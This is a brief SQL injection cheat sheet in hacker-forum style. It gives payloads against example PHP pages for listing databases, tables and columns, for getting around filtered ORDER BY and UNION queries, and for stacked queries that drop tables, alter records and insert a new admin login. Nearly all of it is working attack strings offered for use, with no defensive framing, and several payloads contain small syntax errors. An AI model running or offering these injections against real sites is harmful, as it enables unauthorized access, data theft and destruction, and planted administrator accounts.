Useful Sqli instructions

all databases :

select group_concat(SCHEMA_NAME) from  INFORMATION_SCHEMa.SCHEMATA

tables for current database:

select group_concat(table_name) from  INFORMATION_SCHEMa.tables where table_schema=database()

columns in table:

select group_concat(columns_name) from  Information_schema.columns where table_name=[real_table_name]

update :5/3/2014   

http://www.madleets.com/Thread-SQL-Injection-Tutorial-All-common-SQL-injection-problems-and-Solutions

Order by is being block?

Order by || group by || and (select * from admins)=(select 1)

‘order by 10000′ and still not error?

Example : site.com/news.php?id=9 order by 10000000000– [No Error]

to bypass this you just have to change the URL little bit.Add ‘ after the ID number and at the end just enter +

site.com/news.php?id=9′ order by 10000000–+[Error]

I get error if I try to extract tables.
site.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables

Change the URL for this

site.com/new.php?id=9 union select 1,2,concat(unhex(hex(table_name),4 from information_schema.tables limit0,1–+

modify the information in the database

drop table

http://site.com/news.php?id=1; DROP TABLE news

update database

http://site.com/news.php?id=1; UPDATE ‘Table name’ SET ‘data you want to edit’ = ‘new data’ WHERE column_name=’information’–+

INSERT

http://site.com/news.php?id=1; INSERT INTO ‘admin_login’ (‘login_id’, ‘login_name’, ‘password’, ‘details’) VALUES (2,’Rynaldo’,’Crackhackforum’,’NA’)–